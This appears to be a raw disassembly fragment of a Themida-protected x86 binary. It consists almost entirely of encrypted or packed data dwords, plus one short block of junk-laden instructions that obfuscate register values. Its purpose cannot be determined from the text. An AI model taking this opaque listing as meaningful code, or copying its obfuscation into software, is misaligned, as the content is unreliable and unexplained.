		dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h
		dd 50F0362Bh, 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h
		dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h
		dd 43E90000h, 6800000Ch, 617956Fh, 0FCED6FE9h, 967E68FFh
		dd 65E90617h, 68FFFCEDh, 6179750h, 0FCED5BE9h, 982E68FFh
		dd 51E90617h, 68FFFCEDh, 61798C6h, 0FCED47E9h, 996168FFh
		dd 3DE90617h, 68FFFCEDh, 6179A7Bh, 0FCED33E9h, 9B9A68FFh
		dd 29E90617h, 68FFFCEDh, 6179C95h, 0FCED1FE9h, 9D3668FFh
		dd 15E90617h, 68FFFCEDh, 6179DFFh, 0FCED0BE9h, 1F92B2FFh
		dd 27B8C1Bh, 2B6661FEh,	534A78E7h, 7C3150CFh, 0A91933B8h
		dd 8423E79Ah, 9D0A0E87h, 75F23671h, 0B9D45853h,	156E542h
		dd 0A6ED55E7h, 88584DBh, 6567000Ah, 4C790636h, 0B21D3951h
		dd 24B0C05Bh, 23AB8FECh, 3153080Ah, 3FCEB67Ah, 1F53249h
		dd 1A49DC0Eh, 47790636h, 3557D054h, 4BF73646h, 0DE55E419h
		dd 192B5AB1h, 0A81B6962h, 0E3630D18h, 2FB878BAh, 0D3C791Dh
		dd 8655E4AAh, 116E9E82h, 5A8CBCEFh, 95B7D63Dh, 68B622E6h
		dd 768BA8C4h, 525h, 366567A2h, 43477906h, 0F09257E2h, 4468EC53h
		dd 0A021C0C0h, 78DCECA1h, 34862754h, 3D49DC63h,	0BD802159h
		dd 9D55E482h, 0C2BBC86Eh, 0B2D1AEDEh, 28B7CFFFh, 0E16C79C1h
		dd 98A2488Ah, 343C8BA8h, 0F8000000h, 0DBD2F48Bh, 0F0846559h
		dd 6CCC5ADBh, 10549DCh,	9C95A809h, 0E87755E4h, 0F233AE81h
		dd 55E49C47h, 0D6BA78DCh, 8BA89B08h, 86F51756h,	0D6F38Ch
		dd 67390000h, 79063665h, 2C24574Ah, 3C60E2C9h, 93AE5A6h
		dd 512E9E94h, 334C7C2Fh, 0E5969A11h, 1BC84A6Fh,	63987B41h
		dd 0F0C277C2h, 8A888C53h, 0F0C6470Bh, 8A010353h, 0A5D8EA71h
		dd 0DC564B7Ah, 2798B14h, 573920Ah, 2E8DA9F6h, 0D92649DCh
		dd 88BBE4AEh, 0B55E4FEh, 3BFFE307h, 0BDCEBA4Bh,	0CBA61F70h
		dd 1F2C104Fh, 0F5B0DDACh, 1CB341C5h, 0ABD8A7EDh, 7F7EDAF2h
		dd 5FDB81CCh, 5BDFC347h, 3FC0BDCCh, 62FFC794h, 7FEEBC2Ch
		dd 8000009h, 0E68185F8h, 0FB64A8E5h, 0D651D5D0h, 0AE39FDB8h
		dd 9D1EE29Fh, 81FC0BBBh, 0A8E5E27Dh, 0D4CFFB64h, 0C6B5D750h
		dd 4BD45742h, 55E707F8h, 67D4D87Bh, 9AF13568h, 3F261CCAh
		dd 0AA685D29h, 0A3D8D3F5h, 0D8F0ADDCh, 3002B67Ch, 0E01B6180h
		dd 0DC6CD747h, 40D62849h, 0D0CDFAD5h, 31CA5CB8h, 0BAD2F607h
		dd 0E4A2C47Bh, 0D0272655h, 0A8BC5C82h, 0A8A3BA8Bh, 0F04427EDh
		dd 50000000h, 6366567h,	0F2A54A79h, 8AFBD7EFh, 0FF7586AAh
		dd 38E81DBBh, 1BAB69AEh, 0F0E6D09Ah, 42E35E53h,	53F0E6F7h
		dd 550A080Ch, 2BB47833h, 0FE696219h, 0F0E682B1h, 0E23D0153h
		dd 3793ABE6h, 8859C1FDh, 0C46ECFFCh, 7D49DC0Eh,	89ADE0E2h
		dd 5CDEEB72h, 0FE5A722Bh, 433E4DDAh, 608101B1h,	4446E714h
		dd 0CD4FCB7Bh, 66C73249h, 5FDBA3EBh, 9D2EE468h,	0B39BFCEh
		dd 95F6C90h, 0ABE918C8h, 7838FA18h, 524B7C03h, 8754DE3Ah
		dd 71121588h, 962FFA9h,	8708391h, 0E9190000h, 0D4F572B6h
		dd 0BFCA55D9h, 0A3A13EC2h, 8CBB24E8h, 0AA8E0D11h, 6CB0ED1Ch
		dd 5BDFD6F3h, 41C5C0CCh, 25E9A4A6h, 85B4F148h, 1E55E704h
		dd 0FD8B33F5h, 5004920h, 29A39688h, 87B7EE1Bh, 3001F03h
		dd 1C16728Ah, 0C94D404Fh, 0E49FABB2h, 9BB770D4h, 4B7D12E0h
		dd 6706CC50h, 0FB8FC465h, 0EE1E95B3h, 0D2F4B46Ah, 76090125h
		dd 33D55954h, 0FF8D5C8Ch, 65B4CCh, 7544A444h, 57A30CBFh
		dd 0E849DCC6h, 83949564h, 9354BCB0h, 0B9B48720h, 4BCF572Dh
		dd 6014F5C9h, 639CCA6Bh, 0F1554D01h, 0E8583DAh,	0A140B804h
		dd 3E07A0DBh, 0F6432E43h, 0CAC3C49Bh, 241756B2h, 0BF42F843h
		dd 252959DBh, 46355716h, 682325C2h, 220A10A7h, 6230A85Eh
		dd 79Eh, 0A0641737h, 93970607h,	78BCF914h, 66AAE1EFh, 53D7CAF9h
		dd 2F5EE4C8h, 1431AE72h, 0FE0A9599h, 0DEE07F83h, 0B30E6BAFh
		dd 0E705C772h, 8D375C55h, 0FDC46567h, 0C4446C55h, 51C9C1E5h
		dd 44B7C4B0h, 7D8D0805h, 0F645E219h, 0D53F001h,	688A0B09h
		dd 0C649DCEDh, 7080558Eh, 0DC56358Dh, 2F5CA0A4h, 0B9939859h
		dd 5AC58C82h, 0FE5A722Fh, 1B618034h, 502047E0h,	77DB4FCCh
		dd 88030544h, 0B2E91B84h, 0A2C3229Ah, 0B35898D2h, 272692F7h
		dd 5FDC3914h, 7487ABAFh, 56DCD7F5h, 2E8FFA55h, 5FDC3913h
		dd 7766AC90h, 45F44A49h, 3E4D7EC2h, 0E37A910Ch,	0B266ACE7h
		dd 67631335h, 0C9C1BCD7h, 0B511294Dh, 0E0017991h, 0E6186794h
		dd 0E5427DB7h, 5B987D3Dh, 40CD5236h, 3056D26Dh,	6C0CAD8h
		dd 39490000h, 2425C246h, 0F3AA569h, 0F3118E92h,	0DCEB74B8h
		dd 0FADE5DA1h, 0BC403D4Ch, 0AB6F2623h, 9195103Ch, 75B9F416h
		dd 3504A118h, 4E55E70Ah, 61808305h, 7147E01Bh, 8A49D8E1h
		dd 0CB544F7Dh, 0AAA1C5C0h, 650FB8D3h, 4CE44EADh, 7D8E99BDh
		dd 0AAB1F200h, 6A21E598h, 0B483BEFFh, 3C0055E7h, 742759F6h
		dd 0F84BD447h, 7B55E7B4h, 39A11D17h, 0D0AFDCA8h, 8E39FBB2h
		dd 3407A013h, 4F55E7B4h, 2A4C49CBh, 0C34FCB58h,	0FC0C8984h
		dd 30B37498h, 5062FF99h, 6282AF8h, 0A1A10000h, 8CBD2AEEh
		dd 77920D11h, 5B69F63Ah, 4443DC20h, 1246C549h, 24E8A5A4h
		dd 13178EBBh, 0F93D7894h, 0DD215C6Eh, 5DEC49B0h, 0D655E70Ah
		dd 61807BBDh, 9290A30Ch, 7AB153F0h, 348C4F47h, 0F33176Bh
		dd 0F954B3FCh, 6BEF49D8h, 84F70950h, 0B6E5E780h, 0B9CF1E86h
		dd 529B2582h, 0DE104FCFh, 3D4CFA19h, 0B1CAEEB0h, 11E39EAAh
		dd 0C6B5D796h, 570A5AB5h, 19C466B4h, 0D46DDC1Dh, 62E65FDFh
		dd 4547E090h, 2FBE2656h, 0DD852259h, 1645F305h
		dd 6474ED32h, 9C0C5CE7h, 58D8Eh, 8B060600h, 0B6E71887h
		dd 0DFDAF572h, 0C7BECC5Bh, 0E8A5A443h, 58DA724h, 18878B06h
		dd 0F16EB2EBh, 0C956DAD5h, 5540C4B7h, 0BFA49D6h, 0DA7955E7h
		dd 0CD6567D6h, 0ACDFC3BEh, 0DBF3AEDDh, 0EA0E8784h, 0C1C39C28h
		dd 0AF3E46CAh, 4905A2D9h, 0A249DC63h, 300FAEDEh, 0D255E483h
		dd 509EDC33h, 6E8BA899h, 49h, 1B61804Ah, 6CD747E0h, 0D62849DCh
		dd 491F5434h, 5F567358h, 6387AB2Fh, 9373CA6Bh, 0AA9155E4h
		dd 39FBB2D3h, 0F13F3B52h, 4D8BA88Dh, 0BC66113Eh, 26D0174Eh
		dd 26C15377h, 0BBh, 24053D4Bh, 0BDA764B6h, 0E72D6062h
		dd 3665677Dh, 0B7D69506h, 0EE7224FAh, 56C68F59h, 8D000FDCh
		dd 0ADE0E27Dh, 0CDC0C29Dh, 894E0049h, 0FA0C53F0h, 0DEE07F83h
		dd 0C2CD9CAFh, 0C153B7C7h, 73FE76E5h, 0F3AADB99h, 0A6A97FDBh
		dd 0FBB34152h, 0C06D9EEAh, 49DC7C0Eh, 0F1ACD9A0h, 0BF43C723h
		dd 395226C7h, 0CBFAFAFCh, 0FC0F734Fh, 0DF235E6Dh, 0CB4C4140h
		dd 6300045Ch, 7396A414h, 1C000004h, 0F26DB1ECh,	0CF58DCD1h
		dd 0DA45C9C4h, 0B22DF1ACh, 911A1E93h, 85F817BFh, 0ACE9E681h
		dd 0D8D3FF68h, 0C2B9CB54h, 4FE8533Eh, 55E708FCh, 67D8DC77h
		dd 0C6B5C768h, 0B25C659Eh, 0EB1D8A8Eh, 80A66CB0h, 75E01B61h
		dd 0F0921928h, 7CB69A53h, 6C74E243h, 7B8D49DCh,	434CFFEFh
		dd 0CCFB2441h, 239EADD1h, 0E404B782h, 2E926E55h, 2CD4F531h
		dd 8B020F58h, 9011AD67h, 55E429ADh, 6969804Fh, 8BA947C3h
		dd 0EED3h, 0A8F56000h, 55E43D99h, 9805361Ah, 55E43DA9h
		dd 6AEC262Ah, 6366567h,	9AAC4A79h, 0F95DE811h, 0A3C7C61Ch
		dd 6C2E8FBFh, 2E53F06Bh, 0EE9D611Ch, 67DF4C96h,	0E62C4FF5h
		dd 54641729h, 5C6F1DECh, 1A2976E1h, 3B53F1F4h, 6FAA6501h
		dd 0C4483CBEh, 1F834F4Eh, 0E06449DDh, 0F785641Ch, 7A3E5BC4h
		dd 0F7764FCAh, 0D968B5D9h, 5A5FDCA3h, 5EBAD2F6h, 93A8ACD4h
		dd 0D032BDCCh, 0A200FB53h, 0D1A8A3C7h, 7F3BF9B4h, 56517D0Ch
		dd 0BB50A226h, 0A90E118Ch, 0D962FE51h, 3545361h, 0CDFD0000h
		dd 0B0D14ED2h, 0A3AE39FDh, 878522E6h, 709F080Ch, 5E72F93Dh
		dd 60A4D9E8h, 4FD3CAC7h, 35F9B4D0h, 21E598AAh, 99A8F574h
		dd 1A55E709h, 686737F9h, 0E3BBDCEh, 0E85B7397h,	0F092FC4Fh
		dd 0EF137753h, 0A6D847CBh, 15833F7h, 1B7F8F02h,	8B83FA0Ch
		dd 6703050Fh, 0B5842165h, 0CE53F092h, 4796D44Ah, 70B029B5h
		dd 21233C4Ch, 0BB40A66Ah, 1A9BF809h, 53F00D2Fh,	4647A0A4h
		dd 9F183357h, 49DCF46Bh, 1C6398FCh, 0CE98B0EDh,	152A311Bh
		dd 64AED275h, 590D9899h, 0FB0A3129h, 0DEEF7E8Dh, 5A5370AFh
		dd 284EEFD8h, 0C9E39544h, 98E38CBEh, 6C068D8Fh,	324D7D61h
		dd 0E86C9C11h, 0DB76B7C4h, 58E3AD15h, 40B8D0F4h, 35A0DBA1h
		dd 0AD1559E8h, 7E8DDAE3h, 6B8F0B03h, 0A8911EA9h, 2BF9829Ch
		dd 0A2B91427h, 6926ECA1h, 47E02457h, 0E6A1AD45h, 0DAE23DC2h
		dd 9AF2B8B5h, 25988h, 0DFD2F200h, 0C2BBCC5Bh, 0EBA6A13Eh
		dd 138AB827h, 3C71900Fh, 0E95973F8h, 0C463A7DAh, 0DD4ACEC7h
		dd 0B532F6B1h, 79141893h, 0E96A502h, 0E62D55E7h, 36656722h
		dd 0B8D69506h, 6A8E0B06h, 87F514A8h, 77732B74h,	98FC49DCh
		dd 11BF7294h, 367784F0h, 4FC84EDCh, 463D4B12h, 2040D236h
		dd 32502F5Ch, 6FCCB97Bh, 134E20D4h, 7586F213h, 6AD3FA28h
		dd 0E7177B81h, 0E11A6E7Fh, 15D3FF44h, 19283787h, 0F65AAE64h
		dd 98486C5h, 22596BF2h,	0AC64AE2Ah, 62611133h, 0B3040B2Fh
		dd 4F9A489Ah, 1B8CDDFh,	31510000h, 1C2DBA7Eh, 7029D61h
		dd 0EB19868Ah, 0D4F36CB0h, 0E2D655D9h, 0B4783554h, 0A3671E2Bh
		dd 898D0804h, 6DB1EC1Eh, 0CD7CB900h, 4655E70Fh,	65678B0Dh
		dd 4F9E0636h, 3F791ECBh, 226ECFFh, 0BDCF9E09h, 0D85ABECEh
		dd 0DC5539DDh, 0B2BC3249h, 560B1939h, 4F05365Ah, 717E07D5h
		dd 24EC265Ah, 678630C2h, 0F08FFA11h, 25A1D9D4h,	894EEEFh
		dd 0BEAD4FC8h, 0D8F9C271h, 0D9FD415Fh, 0E490C360h, 0CE1F10ABh
		dd 0C9FA81BAh, 0F26D5ED4h, 1525606Bh, 247263B1h, 7A8CC718h
		dd 69ABE2E3h, 9D053519h, 7C03384Ch, 0DF3B534Ah,	74CD6A55h
		dd 0FF82F098h, 0E719609Bh, 97B3434Fh, 50D4F81Ch, 41C6B5D7h
		dd 9DE3DEFAh, 0EF182A82h, 98000000h, 76F13568h,	4BD45855h
		dd 26C14540h, 3EA96D28h, 0D8E920Fh, 316C9B2Bh, 585572EDh
		dd 443F4BD4h, 762527C0h, 3B64C7B2h, 55E70F08h, 6744488Bh
		dd 9E063665h, 0A502394Fh, 49DC4385h, 0A5D65A3Eh, 0A35EED4Ah
		dd 3E7755E4h, 90081730h, 2DE76B5Fh, 0F3C4899h, 0CC471AAEh
		dd 44409F4Fh, 57162549h, 178EBC36h, 4F7F63E7h, 0E27D49CBh
		dd 1269ADE0h, 36463D4Bh, 798B40D2h, 68AB0A02h, 20F46FA1h
		dd 0C536B22h, 0CEE75FEh, 78F721BBh, 2A5B2454h, 0C9208F73h
		dd 0DB329D41h, 0EC189AACh, 1E898DB1h, 44394AECh, 0C7F7AEDBh
		dd 0B12C5F43h, 2F1EC574h, 38FA5E32h, 43401F8Ch,	0F6B1DD4Ah
		dd 2A616F3Ch, 2F46B512h, 854564FCh, 0D16B08E4h,	37A8C43h
		dd 0DD5E60FFh, 1E663AF5h, 2B2347B4h, 0D19h, 1F8C9700h
		dd 923003ACh, 0CFB353F0h, 6767C345h, 497B0434h,	29253A52h
		dd 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh,	6D98E717h
		dd 46471830h, 531F2757h, 0C381E389h, 4,	3304EB83h, 1C31241Ch
		dd 241C3324h, 0E389535Ch, 4C381h, 0EB830000h, 241C8704h
		dd 2434895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, 10192869h
		xor	edi, 1EF757B0h
		xchg	ebp, edi
		inc	ebp
		xchg	ebp, edi
		sub	edi, 0ABD0E36h
		sub	edi, 0FE19DDCFh
		mov	esi, edi
		pop	edi
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	4ED2h
		mov	[esp], esi
		pop	dword ptr [ebx+8]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dw 0E116h
		dd 13B837DFh, 306179Fh,	9E0FFC5h, 5CB521h, 0F56012B4h
		dd 0E01213CCh, 0D7409918h, 313E090Eh, 3251506Fh, 9664E21Eh
		dd 0F2755119h, 0CB742CC9h, 5E360604h, 0B779CBE4h, 0E9382224h
		dd 2Ah,	7EF9816Eh, 9 dup(0)
		dd 40E90000h, 70000005h, 4ED95D50h, 23BC403Dh, 3EA96D28h
		dd 16919510h, 0F576BAF7h, 595473C3h, 403D4AD5h,	6C2723BCh
		dd 9E0D3FA8h, 238CFF9Ah, 55E73210h, 67BC6093h, 0C7C2CD65h
		dd 0B5D4ABA3h, 0D44734F8h, 0F092F84Bh, 0E4177B53h, 0F09288BBh
		dd 0D070B53h, 59712C5Eh, 71890406h, 0A8A0DDEEh,	0C9C1BCD7h
		dd 0EC1C99B6h, 62A8CFA8h, 8BBAD1BEh, 61FE0279h,	79E62A65h
		dd 0CE39524Dh, 0F092D261h, 27ED5153h, 0D2CBF887h, 97FE5DBAh
		dd 0DD215C68h, 3D4D4042h, 1893BFCEh, 92A79B1Ah,	0F39C53F0h
		dd 8C905E9Ch, 902E8594h, 8A000000h, 6366567h, 0F0929AA7h
		dd 0C898653h, 2D6863FCh, 345BBA1Dh, 2A412EEEh, 948D0228h
		dd 19C85h, 67180000h, 0C7BECC66h, 1F2F53B7h, 0E3AFDDACh
		dd 0F092F742h, 0E4080C53h, 149BB132h, 0F53F19FEh, 75932526h
		dd 0A2BD8C29h, 523653F0h, 96BA1E2Eh, 0E17FF566h, 21EF4207h
		dd 8E2EA75Eh, 0EB0F68D6h, 59547229h, 0FB566521h, 1E2E6764h
		dd 1380B3BAh, 3F0353F0h, 2CFF16F5h, 0BC76315Dh,	9CAFDEEFh
		dd 4EC4BFCDh, 0B0EB1D8Ah, 0CBC2C49Bh, 674B8949h, 7A053568h
		dd 0F2245449h, 0B2812E99h, 3153F092h, 1DC4A8BFh, 0BBDFAA8Ch
		dd 6D12565h, 0CB491118h, 8FBECD24h, 6F910E12h, 58730C3Ch
		dd 8611ADAFh, 0E60A87DDh, 658C4BD6h, 9538D715h,	0B940785h
		dd 53F03638h, 3B48D7BBh, 5D37B042h, 0FD000000h,	5356867h
		dd 3A524F7Ah, 2B5AB11Eh, 29D611Ch, 0E17E8E03h, 7DD25AE3h
		dd 6C11CC79h, 0E6012560h, 389CACE9h, 0BE59E414h, 0D5E51B57h
		dd 47D18594h, 0DF000000h, 5356867h, 3B534E7Ah, 0A9D2624h
		dd 528EAF97h, 46193155h, 93D4D48h, 6A98A7CEh, 9BBF1B33h
		dd 0C20168A7h, 884ACEC3h, 7376667h, 0F092A4A6h,	9FF69953h
		dd 948C8D53h, 82985h, 2F3E0000h, 0FB5F6F1Eh, 0F48B3739h
		dd 8655DFD6h, 61FE0E8Bh, 0C1BCD75Fh, 0B1D2ADDDh, 98B3CCFCh
		dd 9E9BED1Dh, 5AEA3F7Eh, 0C0D70629h, 8FE6557Ah,	0A2A35570h
		dd 4343C7EBh, 4AA5D6A2h, 2BFC8B3Ah, 0C4B2641Fh,	0A1DCEE46h
		dd 380677BDh, 3949DC5Dh, 285A2555h, 0FAECD987h,	1A29FB75h
		dd 2C5F4367h, 4676315Dh, 0E78030C2h, 2786B6E5h,	55E4061Ah
		dd 7C8BE22Dh, 50CF534Ah, 3D4C7F2Eh, 3A7B900Bh, 55E4060Fh
		dd 32728084h, 6B601B2Dh, 371B821Dh, 0F200CAC1h,	0A0F704B2h
		dd 0E82C5F61h, 0A9899E4Ch, 154388Bh, 3E4D0000h,	0E0649411h
		dd 188B2812h, 923100ADh, 0CEB253F0h, 0F092BC8Fh, 38533753h
		dd 0F0924CFFh, 0B143C753h, 6398ECFDh, 0DC9044C2h, 0A2D9BD49h
		dd 21F3AADBh, 705E1685h, 9CC5D30Ch, 0BFC19E94h,	253348CCh
		dd 99D15CF8h, 0E9A4A33Fh, 3A5175D1h, 0E4C64EFDh, 0B341C555h
		dd 3648EA1Ch, 0AFD33747h, 34BEC09Fh, 0E7639B12h, 93B4CBC3h
		dd 719DE21Ah, 0A3D00636h, 43F0C64Ch, 0B0EB1D2Ch, 7ACFCD9Bh
		dd 3200E96Ch, 568430E0h, 0A08BA905h, 23F1ACD9h,	4540h
		dd 65806C00h, 9043EC1Fh, 53D3F092h, 0E35EDFEFh,	0CCD3F092h
		dd 2A31EC03h, 1D91631Eh, 2E8FBCC8h, 53F09273h, 40544B7h
		dd 0D4157189h, 53F09265h, 79E7D25Ch, 0A61AEE4Bh, 4D712C59h
		dd 5BDFA3C7h, 7D81h, 61802F00h,	8347E01Bh, 7449DC6Ah, 0FE537107h
		dd 0D9C418F0h, 0E48FA190h, 3A5E2255h, 0F9269102h, 55E48F4Ah
		dd 10CF45C9h, 0EC7BBFEEh, 0D86BB4DAh, 5B55E48Fh, 7ABBD3F7h
		dd 55E48EC2h, 5A6980CFh, 0D1B17528h, 0F6374430h, 4FCCEC3Fh
		dd 0CB385034h, 59DF7BBDh, 54A27427h, 0D08F855Fh, 0B0CFFFAEh
		dd 9CE31B92h, 7B043471h, 0C433544Fh, 934265ADh,	2D5BAA7Ch
		dd 0C4C6911Eh, 391D45F3h, 61803FF5h, 0BBC81EE9h, 83A70360h
		dd 18782F88h, 8FF349D8h, 0A3DEED7Ch, 67E65551h,	0BE1A3269h
		dd 40737168h, 32C03C17h, 0EC306B9Dh, 225A5173h,	9E10E683h
		dd 0C72E89DAh, 352C1C54h, 0CD04F88Fh, 6ABC06EDh, 9BAA1308h
		dd 2425C2E6h, 0D2F4AB69h, 0B6C857DBh, 9AA8B7C7h, 8D6CEBE3h
		dd 0DF58CB66h, 2CF6AE6Ch, 9DE9AC45h, 784C431Dh,	3F411E14h
		dd 2D5FC84Ch, 7CF35D8Ch, 0E70BDE52h, 8C5D7h, 93EA0000h
		dd 0DF73D78h, 6767A68Ch, 497B0434h, 29253A52h, 4015E6Eh
		dd 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h
		dd 571F2757h, 0BB53E789h, 443D1629h, 4A4DCB81h,	0CB813CD4h
		dd 15356FBh, 5EFBEB81h,	0DF017DFFh, 4EF835Bh, 5C243C87h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 4C68241Ch
		dd 89000023h, 0BF57240Ch, 7BEA6708h, 0C781D7F7h, 730532A2h
		dd 0AE84C781h, 0ABB1158h, 310E64DAh, 60685FFBh,	8900000Ch
		dd 4832424h, 50590424h,	4189D889h, 24048B08h, 4C481h, 0C8B0000h
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 2434FF5Ch
		dd 4C4815Bh, 0E9000000h, 0FFFCDB90h, 2E20908Fh,	0B8F0B508h
		dd 617A4B3h, 0E0FFC503h, 2559AAE1h, 0EC3D3EFh, 7A27F751h
		dd 4475820Eh, 6BE5BF1Ch, 25BBA0ADh, 75520929h, 5C3A392Dh
		dd 0DBE02A2h, 6094904Fh, 498610D6h, 237DE61Dh, 6D3B0373h
		dd 16D18F3Dh, 72DD2AFAh, 5FBFA1Dh, 6614BFCFh, 35916F29h
		dd 69D2ABBFh, 7186CDDBh, 4C3C856Fh, 148E9h, 4800h, 4C00h
		dd 5000h, 5400h, 5800h,	5C00h, 6000h, 6400h, 0A800h, 0AC00h
		dd 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h
		dd 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h
		dd 38h dup(0)
		dd 5B81B500h, 0B1C20300h, 0B9858D00h, 310617A5h, 140DC185h
		dd 0F9858906h, 90617A6h, 14344195h, 4985C606h, 54061408h
		dd 5547BA66h, 32061268h, 8B6660D0h, 61CF8BCBh, 3B243481h
		dd 0FF3E506Eh, 142C65B5h, 0EB816606h, 858DE90Ch, 61778FEh
		dd 16CD958Bh, 0D0FF0614h, 0CFD9529h, 95BB0614h,	8967A6B3h
		dd 17A6FD85h, 199D8906h, 0E9061413h, 63h, 64FEEB81h, 0C18166A0h
		dd 294E01DBh, 0F9B58B56h, 890617A6h, 0F9858306h, 40617A6h
		dd 8D60C35Eh, 17A5B9B5h, 560FEB06h, 36FF006Ah, 0A6FD95FFh
		dd 835E0617h, 3E8304C6h, 61EC7500h, 3B966C3h, 858D8960h
		dd 0F061410h, 1688h, 11E900h, 0C03A0000h, 0D93B6CB6h, 0B2D3491Fh
		dd 19A4EEDEh, 8DE6C86Fh, 17A78A85h, 8589F806h, 61403FDh
		dd 39EBh, 2CC00AEh, 2E400AEh, 0AEh, 14370000h, 18E614B2h
		dd 10B925ABh, 141F71BAh, 53591CB1h, 7D761DBBh, 31492591h
		dd 9C87193h, 13260190h,	18D3198Bh, 1DD015BEh, 953B71B5h
		dd 7D3471DCh, 26D92AFFh, 79292D56h, 79A2355Eh, 7D4371C7h
		dd 7362229Ch, 0D60C831Eh, 6D39CC56h, 0BDBF77CBh, 59E7CCFCh
		dd 0E82677CBh, 7B92418Ah, 6DB2CC5Ch, 8A177CBh, 586DF2D6h
		dd 7D6E65D1h, 2E6468ABh, 0C4A2B154h, 0F40D71DBh, 699E685Ah
		dd 2FDEFCD9h, 82A76778h, 0FE882A0Ch, 69665462h,	6A4071D9h
		dd 0C4A2228Fh, 0F40D71DBh, 699E685Ah, 3CDEFCD9h, 82A7677Bh
		dd 0F6882A0Ch, 69799C4Ah, 78BE7ED9h, 1B1A71DFh,	0D859805Eh
		dd 0F00FB154h, 7B57532Eh, 75E8F419h, 178677CBh,	7E8020DFh
		dd 5D3471DFh, 0F443B286h, 0FC095593h, 6A82559Bh, 3C4371DFh
		dd 33FBB28Eh, 0E0597FF1h, 7B7C5216h, 7D347E37h,	30337CDFh
		dd 7736D6F0h, 741B3C88h, 51DDA857h, 0B814FABFh,	54D665EFh
		dd 6973AC5Ah, 156A10D9h, 2D6D298Dh, 7D0D6537h, 4EACD2DFh
		dd 0F86EBB34h, 0C559774Fh, 18CB020Ch, 73331EBDh, 236D2759h
		dd 7D3E755Eh, 944140BFh, 7D8671D3h, 0FEE30836h,	0C87033E7h
		dd 0E1B584C0h, 7F95C456h, 0C8CB77CBh, 7B0E5DBAh, 8388FC2Ah
		dd 178066A7h, 7EAB21DFh, 5DA171DFh, 0F488B287h,	0FC6C559Bh
		dd 6A30559Bh, 3D1A71DFh, 584EB28Fh, 0C8AFB06Eh,	7B5769DAh
		dd 79CBA120h, 958071B5h, 7D6871DCh, 25F729FFh, 793E3556h
		dd 7929355Eh, 7D8671C2h, 2280219Fh, 7C6363AEh, 8FF37C3Bh
		dd 78E55AC9h, 153265D7h, 0EBC71CE0h, 7D0D7737h,	88CF58DFh
		dd 72BC9430h, 7DA1735Dh, 22B111DFh, 0BC4C755Eh,	175D537Dh
		dd 7EF224DFh, 5D0D71DFh, 0F4DBB282h, 0FC4755B3h, 68A5559Bh
		dd 38D071DFh, 8D44B28Ah, 7D347537h, 7D189DDFh, 7D0899DFh
		dd 0DBCC71DFh, 0C2116E03h, 5B434C0Ch, 2F802180h, 7D686537h
		dd 199DF2DFh, 0C348A4h,	0A47451AEh, 0CE7D29E2h,	4FC063E7h
		dd 0B22A17BFh, 27E17E85h, 592CFA87h, 0F679C3DBh, 0F44020DFh
		dd 7209559Bh, 7D86735Fh, 25B7FBDFh, 7B492F69h, 2FD071DFh
		dd 9DC9A9D5h, 0E889FA1Ch, 271C65CEh, 0F08671B5h, 7B926732h
		dd 7D29A120h, 7DA2998Fh, 25F071DFh, 39E1291Ch, 39B575FBh
		dd 7D0175FBh, 2D4D71DFh, 2AD81A1Ch, 2C7BB99Eh, 0A324F85Eh
		dd 0F6D66678h, 7FA47427h, 0F8BD71DFh, 7B0DD63Dh, 0F415B15Ch
		dd 6A21975Ah, 0C48342D9h, 7DA17333h, 0F6DFDB2Ch, 7D6871DAh
		dd 0DFEDF0B9h, 75907E08h, 2F0D71DFh, 7067C456h,	0BB1D77CBh
		dd 69A9385Ah, 7B3832D9h, 0B6871DFh, 590A8B9Bh, 7D1298E1h
		dd 3DD571DFh, 0CB74F28Dh
dword_5B8668	dd 151A37F1h, 57FE29E1h, 7DD06036h, 7E6CE7DFh, 0D5E74E10h
					; DATA XREF: Themida_:005A466Fo
		dd 0BE370121h, 0CD4F453h, 79070E9Bh, 755051FBh,	0C24F8ADh
		dd 82D665DCh, 6944146Ah, 74B9FAD9h, 0F01C65CEh,	6A758F5Ah
		dd 2D861BD9h, 7D437237h, 0BEF951DFh, 5994F887h,	592CF0DBh
		dd 7D346DDBh, 0BE4A31DFh, 648B646Bh, 331960F6h,	7BC17E46h
		dd 0F6A171DFh, 69DDA86Ah, 88DDFAD9h, 823265C4h,	2D1A1B0Fh
		dd 7D0D7237h, 0BEDE51DFh, 5907F887h, 59E5F0DBh,	7DD066DBh
		dd 0BE3831DFh, 3FB7132Eh, 7D1A6137h, 7EF028DFh,	0F68A02C9h
		dd 3BA65524h, 421EDC1Dh, 7B547E1Ch, 566871DFh, 6933E46Ah
		dd 0F8932FD9h, 7B197796h, 95D771B5h, 7D4371DCh,	246228FFh
		dd 79F43D56h, 794C355Eh, 7D3471C7h, 0CED9209Eh,	77AE5E96h
		dd 540FF452h, 7D2977CBh, 7DA2998Ch, 26F071DFh, 21E12A1Ch
		dd 39B575FBh, 7D0675FBh, 2E4E71DFh, 0BC22671Ch,	70280BF7h
		dd 0F828480Fh, 7BC46AC6h, 953871B5h, 7D3471DCh,	25D929FFh
		dd 79293556h, 79A2355Eh, 7D4371CBh, 9562219Fh, 7599F419h
		dd 5E3B77CBh, 6912044Ah, 0F07719D9h, 498CDC20h,	3343C4FBh
